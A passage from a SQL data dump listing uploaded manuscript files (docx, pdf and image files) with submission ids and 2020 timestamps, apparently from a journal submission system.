04:38:27',1,1,0),(6128,3504,'3504-0-Manuscript-2020-03-02.docx',NULL,'2020-03-02 14:13:34',1,1,0),(6129,3505,'3505-0-Manuscript-2020-03-02.docx',NULL,'2020-03-02 14:14:45',1,1,0),(6130,3481,'3481-59-Manuscript-2020-03-02.docx',NULL,'2020-03-02 19:27:54',1,2,0),(6131,3481,'3481-1826-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:27:54',1,2,0),(6132,3481,'3481-1996-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:27:54',1,2,0),(6133,3481,'3481-1815-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:27:54',1,2,0),(6134,3481,'3481-1657-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:27:54',1,2,0),(6135,3481,'3481-144-Manuscript-2020-03-02.docx',NULL,'2020-03-02 19:28:22',1,2,0),(6136,3481,'3481-722-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:28:22',1,2,0),(6137,3481,'3481-1953-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:28:22',1,2,0),(6138,3481,'3481-393-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:28:22',1,2,0),(6139,3481,'3481-1426-Manuscript-2020-03-02.pdf',NULL,'2020-03-02 19:28:22',1,2,0),(6140,3481,'3481-734-Manuscript-2020-03-02.docx',NULL,'2020-03-02 19:30:44',1,2,0),(6141,3481,'3481-120-Manuscript-2020-03-02.docx',NULL,'2020-03-02 19:31:03',1,2,0),(6146,2759,'2759-1044-Manuscript-2020-03-03.docx',NULL,'2020-03-03 12:02:30',1,1,0),(6147,3509,'3509-0-Manuscript-2020-03-03.docx',NULL,'2020-03-03 14:09:47',1,1,0),(6165,3519,'3519-0-Manuscript-2020-03-04.docx',NULL,'2020-03-05 02:51:19',1,1,0),(6170,3522,'3522-923-Manuscript-2020-03-05.docx',NULL,'2020-03-05 15:06:45',1,1,0),(6171,3522,'3522-1574-Manuscript-2020-03-05.docx',NULL,'2020-03-05 15:07:53',1,1,0),(6179,3531,'3531-0-Manuscript-2020-03-06.docx',NULL,'2020-03-06 10:38:44',1,1,0),(6180,3532,'3532-0-Manuscript-2020-03-06.docx',NULL,'2020-03-06 10:50:32',1,1,0),(6189,3539,'3539-0-Manuscript-2020-03-06.pdf',NULL,'2020-03-07 02:00:47',1,1,0),(6198,3546,'3546-0-Manuscript-2020-03-07.docx',NULL,'2020-03-07 19:51:00',1,1,0),(6199,3546,'3546-1-Manuscript-2020-03-07.docx',NULL,'2020-03-07 19:51:00',1,1,0),(6200,3546,'3546-2-Manuscript-2020-03-07.docx',NULL,'2020-03-07 19:51:00',1,1,0),(6201,3546,'3546-3-Manuscript-2020-03-07.png',NULL,'2020-03-07 19:51:00',1,1,0),(6202,3546,'3546-4-Manuscript-2020-03-07.png',NULL,'2020-03-07 19:51:00',1,1,0),(6203,3546,'3546-5-Manuscript-2020-03-07.png',NULL,'2020-03-07 19:51:00',1,1,0),(6204,3546,'3546-6-Manuscript-2020-03-07.png',NULL,'2020-03-07 19:51:00',1,1,0),(6205,3547,'3547-0-Manuscript-2020-03-07.docx',NULL,'2020-03-08 00:26:41',1,1,0),(6206,3548,'3548-0-Manuscript-2020-03-08.pdf',NULL,'2020-03-08 13:17:56',1,1,0),(6214,3381,'3381-178-Manuscript-2020-03-09.docx',NULL,'2020-03-09 08:39:50',1,1,0),(6215,3381,'3381-1626-Manuscript-2020-03-09.pdf',NULL,'2020-03-09 08:39:50',1,1,0),(6216,3551,'3551-0-Manuscript-2020-03-09.docx',NULL,'2020-03-09 09:48:30',1,1,0),(6229,3562,'3562-0-Manuscript-2020-03-10.docx',NULL,'2020-03-10 17:02:12',1,1,0),(6232,3563,'3563-0-Manuscript-2020-03-10.docx',NULL,'2020-03-10 18:23:16',1,1,0),(6233,3563,'3563-1-Manuscript-2020-03-10.docx',NULL,'2020-03-10 18:23:16',1,1,0),(6242,3566,'3566-0-Manuscript-2020-03-10.docx',NULL,'2020-03-10 20:56:13',1,1,0),(6248,3551,'3551-1640-Manuscript-2020-03-11.docx',NULL,'2020-03-11 14:34:15',1,1,0),(6250,3573,'3573-0-Manuscript-2020-03-11.docx',NULL,'2020-03-11 18:58:25',1,1,0),(6251,3573,'3573-1-Manuscript-2020-03-11.jpg',NULL,'2020-03-11 18:58:25',1,1,0),(6253,3575,'3575-0-Manuscript-2020-03-11.docx',NULL,'2020-03-12 02:43:36',1,1,0),(6254,3575,'3575-1-Manuscript-2020-03-11.jpg',NULL,'2020-03-12 02:43:36',1,1,0),(6255,3575,'3575-2-Manuscript-2020-03-11.jpg',NULL,'2020-03-12 02:43:36',1,1,0),(6257,3577,'3577-0-Manuscript-2020-03-12.docx',NULL,'2020-03-12 07:34:53',1,1,0),(6258,3577,'3577-1-Manuscript-2020-03-12.PDF',NULL,'2020-03-12 07:34:53',1,1,0),(6260,3579,'3579-0-Manuscript-2020-03-12.docx',NULL,'2020-03-12 15:01:00',1,1,0),(6261,3580,'3580-0-Manuscript-2020-03-12.doc',NULL,'2020-03-12 15:03:06',1,1,0),(6262,3581,'3581-0-Manuscript-2020-03-12.docx',NULL,'2020-03-12 15:05:36',1,1,0),(6269,3584,'3584-0-Manuscript-2020-03-12.docx',NULL,'2020-03-12 18:33:17',1,1,0),(6281,3593,'3593-0-Manuscript-2020-03-14.pdf',NULL,'2020-03-14 19:51:35',1,1,0),(6286,3598,'3598-0-Manuscript-2020-03-16.docx',NULL,'2020-03-16 12:03:12',1,1,0),(6310,3612,'3612-0-Manuscript-2020-03-18.docx',NULL,'2020-03-18 11:04:18',1,1,0),(6333,3623,'3623-0-Manuscript-2020-03-20.doc',NULL,'2020-03-20 13:55:56',1,1,0),(6340,3626,'3626-0-Manuscript-2020-03-20.doc',NULL,'2020-03-20 19:31:04',1,1,0),(6341,3626,'3626-1-Manuscript-2020-03-20.tif',NULL,'2020-03-20 19:31:04',1,1,0),(6342,3626,'3626-2-Manuscript-2020-03-20.tif',NULL,'2020-03-20 19:31:04',1,1,0),(6350,3628,'3628-0-Manuscript-2020-03-20.docx',NULL,'2020-03-21 02:43:02',1,1,0),(6354,3484,'3484-1919-Manuscript-2020-03-21.docx',NULL,'2020-03-21 20:38:33',1,2,0),(6362,3635,'3635-0-Manuscript-2020-03-22.docx',NULL,'2020-03-22 14:17:31',1,1,0),(6363,3635,'3635-1-Manuscript-2020-03-22.docx',NULL,'2020-03-22 14:17:31',1,1,0),(6364,3635,'3635-2-Manuscript-2020-03-22.docx',NULL,'2020-03-22 14:17:31',1,1,0),(6365,3635,'3635-3-Manuscript-2020-03-22.docx',NULL,'2020-03-22 14:17:31',1,1,0),(6366,3636,'3636-0-Manuscript-2020-03-22.docx',NULL,'2020-03-22 22:38:57',1,1,0),(6367,3636,'3636-1-Manuscript-2020-03-22.png',NULL,'2020-03-22 22:38:57',1,1,0),(6368,3636,'3636-2-Manuscript-2020-03-22.png',NULL,'2020-03-22 22:38:57',1,1,0),(6377,3644,'3644-0-Manuscript-2020-03-24.docx',NULL,'2020-03-24 12:53:09',1,1,0),(6386,3652,'3652-0-Manuscript-2020-03-25.docx',NULL,'2020-03-25 09:33:05',1,1,0),(6392,3657,'3657-0-Manuscript-2020-03-25.docx',NULL,'2020-03-25 14:42:43',1,1,0),(6393,3657,'3657-1-Manuscript-2020-03-25.docx',NULL,'2020-03-25 14:42:43',1,1,0),(6415,3488,'3488-1371-Manuscript-2020-03-28.docx',NULL,'2020-03-28 12:15:38',1,2,0),(6416,3672,'3672-0-Manuscript-2020-03-28.docx',NULL,'2020-03-28 15:05:04',1,1,0),(6417,3673,'3673-0-Manuscript-2020-03-28.docx',NULL,'2020-03-28 21:36:10',1,1,0),(6418,3673,'3673-1-Manuscript-2020-03-28.jpeg',NULL,'2020-03-28 21:36:10',1,1,0),(6419,3673,'3673-2-Manuscript-2020-03-28.jpeg',NULL,'2020-03-28 21:36:10',1,1,0),(6420,3673,'3673-3-Manuscript-2020-03-28.jpeg',NULL,'2020-03-28 21:36:10',1,1,0),(6422,3675,'3675-0-Manuscript-2020-03-28.docx',NULL,'2020-03-29 03:46:24',1,1,0),(6426,3679,'3679-0-Manuscript-2020-03-29.doc',NULL,'2020-03-29 15:47:32',1,1,0),(6438,3687,'3687-0-Manuscript-2020-03-31.doc',NULL,'2020-03-31 08:42:46',1,1,0),(6449,3696,'3696-0-Manuscript-2020-04-01.docx',NULL,'2020-04-02 01:23:27',1,1,0),(6463,3701,'3701-0-Manuscript-2020-04-02.docx',NULL,'2020-04-02 22:28:15',1,1,0),(6465,3703,'3703-0-Manuscript-2020-04-02.docx',NULL,'2020-04-03 05:09:10',1,1,0),(6472,3708,'3708-0-Manuscript-2020-04-03.docx',NULL,'2020-04-03 23:11:23',1,1,0),(6481,3713,'3713-0-Manuscript-2020-04-05.pdf',NULL,'2020-04-05 15:06:54',1,1,0),(6492,3722,'3722-0-Manuscript-2020-04-06.docx',NULL,'2020-04-06 18:56:03',1,1,0),(6493,3722,'3722-1-Manuscript-2020-04-06.docx',NULL,'2020-04-06 18:56:03',1,1,0),(6494,3722,'3722-2-Manuscript-2020-04-06.docx',NULL,'2020-04-06 18:56:03',1,1,0),(6495,3723,'3723-0-Manuscript-2020-04-06.docx',NULL,'2020-04-06 19:56:55',1,1,0),(6505,3675,'3675-1245-Manuscript-2020-04-07.docx',NULL,'2020-04-07 12:33:10',1,1,0),(6506,3728,'3728-0-Manuscript-2020-04-07.docx',NULL,'2020-04-07 12:38:24',1,1,0),(6507,3728,'3728-1-Manuscript-2020-04-07.JPG',NULL,'2020-04-07 12:38:24',1,1,0),(6508,3728,'3728-2-Manuscript-2020-04-07.JPG',NULL,'2020-04-07 12:38:24',1,1,0),(6509,3728,'3728-3-Manuscript-2020-04-07.JPG',NULL,'2020-04-07 12:38:24',1,1,0),(6520,3733,'3733-0-Manuscript-2020-04-08.docx',NULL,'2020-04-08 15:42:23',1,1,0),(6532,3741,'3741-0-Manuscript-2020-04-09.docx',NULL,'2020-04-09 16:23:04',1,1,0),(6553,3698,'3698-1601-Manuscript-2020-04-10.docx',NULL,'2020-04-10 11:34:44',1,1,0),(6554,3698,'3698-1081-Manuscript-2020-04-10.TIF',NULL,'2020-04-10 11:34:44',1,1,0),(6555,3698,'3698-1155-Manuscript-2020-04-10.TIF',NULL,'2020-04-10 11:34:44',1,1,0),(6556,3698,'3698-145-Manuscript-2020-04-10.TIF',NULL,'2020-04-10 11:34:44',1,1,0),(6557,3698,'3698-410-Manuscript-2020-04-10.TIF',NULL,'2020-04-10 11:34:44',1,1,0),(6559,3753,'3753-0-Manuscript-2020-04-10.docx',NULL,'2020-04-10 13:31:46',1,1,0),(6561,3755,'3755-0-Manuscript-2020-04-10.doc',NULL,'2020-04-10 15:17:45',1,1,0),(6590,3775,'3775-0-Manuscript-2020-04-12.docx',NULL,'2020-04-12 10:55:25',1,1,0),(6592,3777,'3777-0-Manuscript-2020-04-12.docx',NULL,'2020-04-12 12:16:51',1,1,0),(6606,3785,'3785-0-Manuscript-2020-04-13.docx',NULL,'2020-04-13 09:20:20',1,1,0),(6607,3785,'3785-1-Manuscript-2020-04-13.docx',NULL,'2020-04-13 09:20:20',1,1,0),(6608,3786,'3786-0-Manuscript-2020-04-13.docx',NULL,'2020-04-13 11:46:44',1,1,0),(6609,3787,'3787-0-Manuscript-2020-04-13.docx',NULL,'2020-04-13 14:01:18',1,1,0),(6610,3787,'3787-1-Manuscript-2020-04-13.docx',NULL,'2020-04-13 14:01:18',1,1,0),(6614,3791,'3791-0-Manuscript-2020-04-13.doc',NULL,'2020-04-13 17:35:02',1,1,0),(6615,3791,'3791-1-Manuscript-2020-04-13.docx',NULL,'2020-04-13 17:35:02',1,1,0),(6617,3771,'3771-287-Manuscript-2020-04-13.docx',NULL,'2020-04-13 20:32:57',1,1,0),(6629,3798,'3798-0-Manuscript-2020-04-14.docx',NULL,'2020-04-14 21:32:09',1,1,0),(6630,3799,'3799-0-Manuscript-2020-04-14.pdf',NULL,'2020-04-14 21:34:03',1,1,0),(6643,3804,'3804-0-Manuscript-2020-04-15.docx',NULL,'2020-04-15 17:42:38',1,1,0),(6664,3808,'3808-0-Manuscript-2020-04-15.docx',NULL,'2020-04-16 01:20:00',1,1,0),(6665,3808,'3808-1-Manuscript-2020-04-15.docx',NULL,'2020-04-16 01:20:00',1,1,0),(6666,3808,'3808-2-Manuscript-2020-04-15.docx',NULL,'2020-04-16 01:20:00',1,1,0),(6670,3812,'3812-0-Manuscript-2020-04-16.docx',NULL,'2020-04-16 09:20:54',1,1,0),(6671,3812,'3812-1-Manuscript-2020-04-16.docx',NULL,'2020-04-16 09:20:54',1,1,0),(6690,3823,'3823-0-Manuscript-2020-04-18.docx',NULL,'2020-04-18 05:45:56',1,1,0),(6692,3825,'3825-0-Manuscript-2020-04-18.doc',NULL,'2020-04-18 12:11:26',1,1,0),(6697,3830,'3830-0-Manuscript-2020-04-18.docx',NULL,'2020-04-18 22:45:53',1,1,0),(6698,3831,'3831-0-Manuscript-2020-04-18.docx',NULL,'2020-04-18 23:01:30',1,1,0),(6700,3833,'3833-0-Manuscript-2020-04-19.doc',NULL,'2020-04-19 12:30:55',1,1,0),(6703,3835,'3835-0-Manuscript-2020-04-19.docx',NULL,'2020-04-19 17:32:19',1,1,0),(6706,3785,'3785-1943-Manuscript-2020-04-20.docx',NULL,'2020-04-20 10:38:44',1,2,0),(6725,3851,'3851-0-Manuscript-2020-04-20.docx',NULL,'2020-04-21 02:09:39',1,1,0),(6731,3854,'3854-0-Manuscript-2020-04-21.docx',NULL,'2020-04-21 13:44:13',1,1,0),(6732,3854,'3854-1-Manuscript-2020-04-21.pdf',NULL,'2020-04-21 13:44:13',1,1,0),(6744,3860,'3860-0-Manuscript-2020-04-21.docx',NULL,'2020-04-21 22:19:39',1,1,0),(6747,3862,'3862-0-Manuscript-2020-04-22.docx',NULL,'2020-04-22 18:24:09',1,1,0),(6748,3862,'3862-1-Manuscript-2020-04-22.docx',NULL,'2020-04-22 18:24:09',1,1,0),(6749,3863,'3863-0-Manuscript-2020-04-22.docx',NULL,'2020-04-22 22:14:00',1,1,0),(6750,3864,'3864-0-Manuscript-2020-04-22.docx',NULL,'2020-04-22 23:40:47',1,1,0),(6751,3864,'3864-1-Manuscript-2020-04-22.docx',NULL,'2020-04-22 23:40:47',1,1,0),(6754,3867,'3867-0-Manuscript-2020-04-23.docx',NULL,'2020-04-23 06:53:07',1,1,0),(6758,3870,'3870-0-Manuscript-2020-04-23.docx',NULL,'2020-04-23 10:48:35',1,1,0),(6759,3777,'3777-818-Manuscript-2020-04-23.docx',NULL,'2020-04-23 12:21:23',1,2,0),(6760,3777,'3777-1861-Manuscript-2020-04-23.docx',NULL,'2020-04-23 12:21:23',1,2,0),(6761,3777,'3777-892-Manuscript-2020-04-23.',NULL,'2020-04-23 12:21:23',1,2,0),(6769,3874,'3874-0-Manuscript-2020-04-23.docx',NULL,'2020-04-23 16:21:20',1,1,0),(6775,3880,'3880-0-Manuscript-2020-04-23.docx',NULL,'2020-04-24 00:35:08',1,1,0),(6787,3886,'3886-0-Manuscript-2020-04-24.docx',NULL,'2020-04-24 17:55:27',1,1,0),(6788,3886,'3886-1-Manuscript-2020-04-24.docx',NULL,'2020-04-24 17:55:27',1,1,0),(6789,3886,'3886-2-Manuscript-2020-04-24.docx',NULL,'2020-04-24 17:55:27',1,1,0),(6790,3886,'3886-3-Manuscript-2020-04-24.docx',NULL,'2020-04-24 17:55:27',1,1,0),(6791,3886,'3886-4-Manuscript-2020-04-24.docx',NULL,'2020-04-24 17:55:27',1,1,0),(6792,3886,'3886-5-Manuscript-2020-04-24.docx',NULL,'2020-04-24 17:55:27',1,1,0),(6815,3894,'3894-0-Manuscript-2020-04-25.docx',NULL,'2020-04-25 15:45:25',1,1,0),(6816,3894,'3894-1-Manuscript-2020-04-25.doc',NULL,'2020-04-25 15:45:25',1,1,0),(6817,3894,'3894-2-Manuscript-2020-04-25.docx',NULL,'2020-04-25 15:45:25',1,1,0),(6818,3894,'3894-3-Manuscript-2020-04-25.docx',NULL,'2020-04-25 15:45:25',1,1,0),(6819,3894,'3894-4-Manuscript-2020-04-25.docx',NULL,'2020-04-25 15:45:25',1,1,0),(6820,3894,'3894-5-Manuscript-2020-04-25.docx',NULL,'2020-04-25 15:45:25',1,1,0),(6823,3863,'3863-1687-Manuscript-2020-04-25.docx',NULL,'2020-04-25 18:34:16',1,2,0),(6826,3898,'3898-0-Manuscript-2020-04-25.docx',NULL,'2020-04-25 20:54:39',1,1,0),(6886,3926,'3926-0-Manuscript-2020-04-28.pdf',NULL,'2020-04-28 07:21:40',1,1,0),(6890,3780,'3780-1265-Manuscript-2020-04-28.docx',NULL,'2020-04-28 13:08:46',1,1,0),(6893,3777,'3777-1629-Manuscript-2020-04-28.docx',NULL,'2020-04-28 17:29:56',1,1,0),(6897,3935,'3935-0-Manuscript-2020-04-28.docx',NULL,'2020-04-28 19:45:47',1,1,0),(6900,3938,'3938-0-Manuscript-2020-04-28.docx',NULL,'2020-04-28 23:35:56',1,1,0),(6915,3675,'3675-1234-Manuscript-2020-04-30.docx',NULL,'2020-04-30 10:33:20',1,1,0),(6943,3970,'3970-0-Manuscript-2020-05-01.docx',NULL,'2020-05-01 15:58:19',1,1,0),(6944,3971,'3971-0-Manuscript-2020-05-01.docx',NULL,'2020-05-01 16:08:02',1,1,0),(6945,3972,'3972-0-Manuscript-2020-05-01.doc',NULL,'2020-05-01 17:28:41',1,1,0),(6947,3974,'3974-0-Manuscript-2020-05-01.doc',NULL,'2020-05-01 21:06:39',1,1,0),(6948,3974,'3974-1-Manuscript-2020-05-01.doc',NULL,'2020-05-01 21:06:39',1,1,0),(6949,3974,'3974-2-Manuscript-2020-05-01.doc',NULL,'2020-05-01 21:06:39',1,1,0),(6950,3974,'3974-3-Manuscript-2020-05-01.jpg',NULL,'2020-05-01 21:06:39',1,1,0),(6951,3974,'3974-4-Manuscript-2020-05-01.jpg',NULL,'2020-05-01 21:06:39',1,1,0),(6952,3974,'3974-5-Manuscript-2020-05-01.jpg',NULL,'2020-05-01 21:06:39',1,1,0),(6953,3974,'3974-6-Manuscript-2020-05-01.doc',NULL,'2020-05-01 21:06:39',1,1,0),(6963,3980,'3980-0-Manuscript-2020-05-02.jpg',NULL,'2020-05-02 17:48:15',1,1,0),(6966,3577,'3577-61-Manuscript-2020-05-02.docx',NULL,'2020-05-02 21:00:12',1,2,0),(6967,3577,'3577-765-Manuscript-2020-05-02.docx',NULL,'2020-05-02 21:01:11',1,2,0),(6968,3983,'3983-0-Manuscript-2020-05-02.pdf',NULL,'2020-05-03 03:32:47',1,1,0),(6970,3985,'3985-0-Manuscript-2020-05-03.docx',NULL,'2020-05-03 12:40:46',1,1,0),(6971,3986,'3986-0-Manuscript-2020-05-03.docx',NULL,'2020-05-03 13:18:02',1,1,0),(6972,3987,'3987-0-Manuscript-2020-05-03.docx',NULL,'2020-05-03 13:22:09',1,1,0),(6983,3996,'3996-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 09:09:32',1,1,0),(6984,3997,'3997-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 09:17:24',1,1,0),(6986,3999,'3999-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 10:00:26',1,1,0),(6988,4001,'4001-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 14:53:47',1,1,0),(6989,3864,'3864-1984-Manuscript-2020-05-04.docx',NULL,'2020-05-04 15:12:37',1,1,0),(6991,4003,'4003-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 17:13:22',1,1,0),(6992,4003,'4003-1-Manuscript-2020-05-04.docx',NULL,'2020-05-04 17:13:22',1,1,0),(6993,4003,'4003-2-Manuscript-2020-05-04.docx',NULL,'2020-05-04 17:13:22',1,1,0),(6994,4003,'4003-3-Manuscript-2020-05-04.docx',NULL,'2020-05-04 17:13:22',1,1,0),(6995,4003,'4003-4-Manuscript-2020-05-04.docx',NULL,'2020-05-04 17:13:22',1,1,0),(6996,4003,'4003-5-Manuscript-2020-05-04.docx',NULL,'2020-05-04 17:13:22',1,1,0),(6998,4005,'4005-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 18:24:16',1,1,0),(6999,4006,'4006-0-Manuscript-2020-05-04.docx',NULL,'2020-05-04 18:53:39',1,1,0),(7005,4011,'4011-0-Manuscript-2020-05-05.docx',NULL,'2020-05-05 11:45:32',1,1,0),(7006,4011,'4011-1-Manuscript-2020-05-05.docx',NULL,'2020-05-05 11:45:32',1,1,0),(7007,4011,'4011-2-Manuscript-2020-05-05.docx',NULL,'2020-05-05 11:45:32',1,1,0),(7008,4011,'4011-3-Manuscript-2020-05-05.tif',NULL,'2020-05-05 11:45:32',1,1,0),(7009,4011,'4011-4-Manuscript-2020-05-05.docx',NULL,'2020-05-05 11:45:32',1,1,0),(7010,4011,'4011-5-Manuscript-2020-05-05.docx',NULL,'2020-05-05 11:45:32',1,1,0),(7012,4013,'4013-0-Manuscript-2020-05-05.docx',NULL,'2020-05-05 14:33:04',1,1,0),(7018,4015,'4015-0-Manuscript-2020-05-05.docx',NULL,'2020-05-05 17:39:03',1,1,0),(7019,4015,'4015-1-Manuscript-2020-05-05.docx',NULL,'2020-05-05 17:39:03',1,1,0),(7020,4015,'4015-2-Manuscript-2020-05-05.docx',NULL,'2020-05-05 17:39:03',1,1,0),(7021,4015,'4015-3-Manuscript-2020-05-05.docx',NULL,'2020-05-05 17:39:03',1,1,0),(7022,4015,'4015-4-Manuscript-2020-05-05.docx',NULL,'2020-05-05 17:39:03',1,1,0),(7024,4017,'4017-0-Manuscript-2020-05-05.doc',NULL,'2020-05-06 05:17:55',1,1,0),(7031,4024,'4024-0-Manuscript-2020-05-06.docx',NULL,'2020-05-06 18:55:03',1,1,0),(7041,4032,'4032-0-Manuscript-2020-05-07.docx',NULL,'2020-05-07 15:22:23',1,1,0),(7054,3808,'3808-236-Manuscript-2020-05-07.docx',NULL,'2020-05-08 02:55:59',1,2,0),(7055,3808,'3808-1310-Manuscript-2020-05-07.docx',NULL,'2020-05-08 02:55:59',1,2,0),(7056,3808,'3808-1343-Manuscript-2020-05-07.docx',NULL,'2020-05-08 02:55:59',1,2,0),(7057,3808,'3808-1794-Manuscript-2020-05-07.docx',NULL,'2020-05-08 02:55:59',1,2,0),(7078,4056,'4056-0-Manuscript-2020-05-09.docx',NULL,'2020-05-09 22:19:52',1,1,0),(7080,4058,'4058-0-Manuscript-2020-05-10.docx',NULL,'2020-05-10 07:17:24',1,1,0),(7082,4060,'4060-0-Manuscript-2020-05-10.docx',NULL,'2020-05-10 12:21:36',1,1,0),(7083,4061,'4061-0-Manuscript-2020-05-10.docx',NULL,'2020-05-10 13:09:19',1,1,0),(7086,4064,'4064-0-Manuscript-2020-05-10.docx',NULL,'2020-05-10 16:09:30',1,1,0),(7087,4065,'4065-0-Manuscript-2020-05-10.docx',NULL,'2020-05-10 19:45:16',1,1,0),(7093,4070,'4070-0-Manuscript-2020-05-11.docx',NULL,'2020-05-11 10:53:20',1,1,0),(7094,4071,'4071-0-Manuscript-2020-05-11.docx',NULL,'2020-05-11 13:17:04',1,1,0),(7098,4074,'4074-0-Manuscript-2020-05-11.doc',NULL,'2020-05-11 14:21:05',1,1,0),(7122,4081,'4081-0-Manuscript-2020-05-12.docx',NULL,'2020-05-12 07:59:25',1,1,0),(7123,4081,'4081-1-Manuscript-2020-05-12.docx',NULL,'2020-05-12 07:59:25',1,1,0),(7125,4083,'4083-0-Manuscript-2020-05-12.docx',NULL,'2020-05-12 10:44:36',1,1,0),(7126,4083,'4083-1-Manuscript-2020-05-12.jpg',NULL,'2020-05-12 10:44:36',1,1,0),(7127,4083,'4083-2-Manuscript-2020-05-12.png',NULL,'2020-05-12 10:44:36',1,1,0),(7128,4084,'4084-0-Manuscript-2020-05-12.docx',NULL,'2020-05-12 11:40:23',1,1,0),(7131,4087,'4087-0-Manuscript-2020-05-12.docx',NULL,'2020-05-12 16:44:05',1,1,0),(7142,4090,'4090-0-Manuscript-2020-05-13.docx',NULL,'2020-05-13 14:38:49',1,1,0),(7168,4111,'4111-0-Manuscript-2020-05-14.docx',NULL,'2020-05-14 22:19:49',1,1,0),(7170,4113,'4113-0-Manuscript-2020-05-14.docx',NULL,'2020-05-15 01:49:58',1,1,0),(7173,4032,'4032-863-Manuscript-2020-05-15.docx',NULL,'2020-05-15 09:54:52',1,1,0),(7175,4117,'4117-0-Manuscript-2020-05-15.docx',NULL,'2020-05-15 11:31:11',1,1,0),(7188,4126,'4126-0-Manuscript-2020-05-16.doc',NULL,'2020-05-16 10:27:45',1,1,0),(7204,4131,'4131-0-Manuscript-2020-05-16.docx',NULL,'2020-05-17 00:47:16',1,1,0),(7205,4132,'4132-0-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7206,4132,'4132-1-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7207,4132,'4132-2-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7208,4132,'4132-3-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7209,4132,'4132-4-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7210,4132,'4132-5-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7211,4132,'4132-6-Manuscript-2020-05-16.docx',NULL,'2020-05-17 02:31:46',1,1,0),(7213,4134,'4134-0-Manuscript-2020-05-17.docx',NULL,'2020-05-17 08:41:53',1,1,0),(7214,4134,'4134-1-Manuscript-2020-05-17.pdf',NULL,'2020-05-17 08:41:53',1,1,0),(7219,4138,'4138-0-Manuscript-2020-05-17.docx',NULL,'2020-05-17 23:53:10',1,1,0),(7220,4138,'4138-1-Manuscript-2020-05-17.png',NULL,'2020-05-17 23:53:10',1,1,0),(7221,4138,'4138-2-Manuscript-2020-05-17.png',NULL,'2020-05-17 23:53:10',1,1,0),(7222,4138,'4138-3-Manuscript-2020-05-17.png',NULL,'2020-05-17 23:53:10',1,1,0),(7223,4138,'4138-4-Manuscript-2020-05-17.png',NULL,'2020-05-17 23:53:10',1,1,0),(7224,4138,'4138-5-Manuscript-2020-05-17.png',NULL,'2020-05-17 23:53:10',1,1,0),(7226,4140,'4140-0-Manuscript-2020-05-17.docx',NULL,'2020-05-18 01:37:38',1,1,0),(7229,4142,'4142-0-Manuscript-2020-05-18.docx',NULL,'2020-05-18 10:26:54',1,1,0),(7231,4144,'4144-0-Manuscript-2020-05-18.pdf',NULL,'2020-05-18 12:17:05',1,1,0),(7236,4148,'4148-0-Manuscript-2020-05-18.docx',NULL,'2020-05-18 15:57:34',1,1,0),(7237,4149,'4149-0-Manuscript-2020-05-18.docx',NULL,'2020-05-18 17:01:27',1,1,0),(7238,4149,'4149-1-Manuscript-2020-05-18.docx',NULL,'2020-05-18 17:01:27',1,1,0),(7239,4150,'4150-0-Manuscript-2020-05-18.docx',NULL,'2020-05-18 17:07:02',1,1,0),(7255,3780,'3780-54-Manuscript-2020-05-18.docx',NULL,'2020-05-19 00:40:12',1,1,0),(7278,4170,'4170-0-Manuscript-2020-05-19.docx',NULL,'2020-05-19 18:09:40',1,1,0),(7281,4173,'4173-0-Manuscript-2020-05-19.docx',NULL,'2020-05-19 23:35:12',1,1,0),(7282,4174,'4174-0-Manuscript-2020-05-19.docx',NULL,'2020-05-20 00:34:38',1,1,0),(7287,4178,'4178-0-Manuscript-2020-05-20.docx',NULL,'2020-05-20 12:56:17',1,1,0),(7296,4187,'4187-0-Manuscript-2020-05-20.docx',NULL,'2020-05-20 20:47:05',1,1,0),(7297,4187,'4187-1-Manuscript-2020-05-20.docx',NULL,'2020-05-20 20:47:05',1,1,0),(7298,4187,'4187-2-Manuscript-2020-05-20.docx',NULL,'2020-05-20 20:47:05',1,1,0),(7299,4187,'4187-3-Manuscript-2020-05-20.docx',NULL,'2020-05-20 20:47:05',1,1,0),(7300,4187,'4187-4-Manuscript-2020-05-20.docx',NULL,'2020-05-20 20:47:05',1,1,0),(7305,4190,'4190-0-Manuscript-2020-05-20.doc',NULL,'2020-05-21 01:23:36',1,1,0),(7306,4190,'4190-1-Manuscript-2020-05-20.docx',NULL,'2020-05-21 01:23:36',1,1,0),(7307,4191,'4191-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 07:03:40',1,1,0),(7310,4194,'4194-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 11:13:20',1,1,0),(7313,4197,'4197-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 11:44:28',1,1,0),(7314,4198,'4198-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 11:47:37',1,1,0),(7315,4199,'4199-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 11:50:23',1,1,0),(7316,4200,'4200-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 12:56:14',1,1,0),(7317,4201,'4201-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 13:48:18',1,1,0),(7327,4209,'4209-0-Manuscript-2020-05-21.docx',NULL,'2020-05-21 16:32:06',1,1,0),(7328,4209,'4209-1-Manuscript-2020-05-21.docx',NULL,'2020-05-21 16:32:06',1,1,0),(7329,4209,'4209-2-Manuscript-2020-05-21.docx',NULL,'2020-05-21 16:32:06',1,1,0),(7335,4215,'4215-0-Manuscript-2020-05-21.docx',NULL,'2020-05-22 01:26:08',1,1,0),(7336,4215,'4215-1-Manuscript-2020-05-21.docx',NULL,'2020-05-22 01:26:08',1,1,0),(7337,4215,'4215-2-Manuscript-2020-05-21.docx',NULL,'2020-05-22 